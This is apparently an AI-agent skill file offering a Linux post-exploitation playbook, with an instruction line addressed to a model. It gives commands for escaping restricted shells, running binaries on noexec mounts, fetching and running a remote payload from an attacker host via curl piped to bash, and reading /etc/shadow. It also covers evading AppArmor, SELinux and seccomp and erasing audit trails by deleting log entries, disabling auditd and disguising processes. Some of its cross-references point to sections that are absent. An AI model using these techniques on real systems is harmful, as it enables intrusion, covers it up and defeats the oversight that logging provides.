| name | linux-security-bypass |
| description | Linux security mechanism bypass playbook. Use when facing restricted bash/rbash, read-only or noexec filesystems, AppArmor, SELinux, seccomp filters, or audit logging that must be evaded during post-exploitation. |
SKILL: Linux Security Bypass — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.
0. RELATED ROUTING
Before going deep, consider loading:
1. RESTRICTED BASH (rbash) BYPASS
1.1 SSH-Based Bypass
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"
sftp user@host
1.2 Editor-Based Escape
vi
:set shell=/bin/bash
:shell
ed
!/bin/bash
1.3 Language Interpreter Escape
| Interpreter | Command |
|---|
| Python | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| Perl | perl -e 'exec "/bin/bash";' |
| Ruby | ruby -e 'exec "/bin/bash"' |
| Lua | lua -e 'os.execute("/bin/bash")' |
| PHP | php -r 'system("/bin/bash");' |
| Node.js | node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})' |
| AWK | awk 'BEGIN {system("/bin/bash")}' |
1.4 Environment Variable Tricks
BASH_CMDS[x]=/bin/bash
x
env /bin/bash
env -i /bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/bin/bash
git log --oneline --all -p
git diff /dev/null /etc/shadow
1.5 Other Escapes
| Method | Command |
|---|
expect | expect -c 'spawn /bin/bash; interact' |
script | script -qc /bin/bash /dev/null |
rlwrap | rlwrap /bin/bash |
nmap (old) | nmap --interactive → !bash |
2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION
2.1 DDexec — Execute From stdin via /proc/self/mem
curl -sL https://attacker.com/payload | bash ddexec.sh
2.2 memfd_create — In-Memory File Descriptor
import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0)
with open(f"/proc/self/fd/{fd}", "wb") as f:
f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ)
2.3 ld.so Direct Execution
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary
cp binary /dev/shm/binary
/dev/shm/binary
2.4 Script Interpreters on noexec
python3 /noexec/mount/exploit.py
perl /noexec/mount/exploit.pl
bash /noexec/mount/exploit.sh
2.5 Writable Mount Points
/dev/shm
/tmp
/var/tmp
/run
mount | grep -E "shm|tmp"
3. APPARMOR BYPASS
3.1 Profile Enumeration
aa-status 2>/dev/null
cat /sys/module/apparmor/parameters/enabled
cat /sys/kernel/security/apparmor/profiles
cat /proc/self/attr/current
3.2 Exploitation Strategies
ps auxZ 2>/dev/null | grep unconfined
aa-status | grep complain
Common AppArmor profile gaps: /proc/self/fd/* access, abstract Unix sockets, interpreter-based execution (python scripts bypass binary restrictions), and newly created paths.
4. SELINUX BYPASS
4.1 Mode Check
getenforce
sestatus
cat /etc/selinux/config
id -Z
ps auxZ | head -20
4.2 Permissive Domain Exploitation
semanage permissive -l 2>/dev/null
ps -eZ | grep -i permissive
4.3 Context Transition & Booleans
ls -Z /tmp/
sesearch --allow -t unconfined_t 2>/dev/null | head -30
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
5. SECCOMP BYPASS
5.1 Check Seccomp Status
grep Seccomp /proc/self/status
./amicontained
5.2 Architecture Confusion (x86 vs x86_64)
gcc -m32 -static -o exploit32 exploit.c
5.3 Allowed Syscall Abuse & Kernel Bugs
Allowed syscalls to abuse creatively: sendmsg/recvmsg (pass FDs between processes), mmap/mprotect (executable memory), process_vm_readv/writev (cross-process memory).
Known seccomp kernel bugs: CVE-2019-2054 (ptrace bypass), io_uring bypassed seccomp entirely (pre-5.12). Check uname -r and compare.
6. AUDIT EVASION
6.1 Timestamp Manipulation
touch -r /etc/hosts /modified/file
touch -t 202301010000.00 /modified/file
6.2 Log Tampering & Process Spoofing
sed -i '/pattern/d' /var/log/auth.log
echo "" > /var/log/wtmp
journalctl --rotate && journalctl --vacuum-time=1s
exec -a "[kworker/0:0]" /bin/bash
auditctl -e 0 && service auditd stop
7. LINUX SECURITY BYPASS DECISION TREE
Security mechanism identified?
│
├── Restricted shell (rbash)?
│ ├── SSH access? → ssh -t "bash --noprofile --norc" (§1.1)
│ ├── Editor available? → vi :!/bin/bash (§1.2)
│ ├── Language interpreter? → python/perl/ruby escape (§1.3)
│ ├── env command? → env /bin/bash (§1.4)
│ └── Allowed commands with escape? → git/man/less → !bash (§1.5)
│
├── noexec filesystem?
│ ├── Script interpreters available? → bash/python/perl scripts work (§2.4)
│ ├── /dev/shm writable + exec? → copy binary there (§2.5)
│ ├── memfd_create available? → fileless execution (§2.2)
│ ├── ld.so accessible? → ld.so /path/to/binary (§2.3)
│ └── Last resort → DDexec via /proc/self/mem (§2.1)
│
├── AppArmor enforcing?
│ ├── Profile in complain mode? → no restriction, just logging (§3.3)
│ ├── Unconfined processes exist? → inject/migrate to them (§3.2)
│ ├── Profile missing path coverage? → use uncovered paths (§3.4)
│ └── Interpreter not restricted? → script-based execution
│
├── SELinux enforcing?
│ ├── Domain set to permissive? → exploit that domain (§4.2)
│ ├── Dangerous booleans enabled? → abuse allowed actions (§4.4)
│ ├── Context transition available? → execute binary with transition (§4.3)
│ └── Kernel CVE? → SELinux bypass exploit
│
├── seccomp filter active?
│ ├── Architecture check missing? → 32-bit syscall confusion (§5.2)
│ ├── Allowed syscalls exploitable? → sendmsg/mmap abuse (§5.3)
│ ├── Kernel bug? → io_uring/ptrace bypass (§5.4)
│ └── Check what's blocked → amicontained (§5.1)
│
└── Audit logging?
├── Writable logs? → delete/modify entries (§6.2)
├── Root access? → disable auditd (§6.4)
├── Need stealth? → process name spoofing (§6.3)
└── File changes tracked? → timestamp manipulation (§6.1)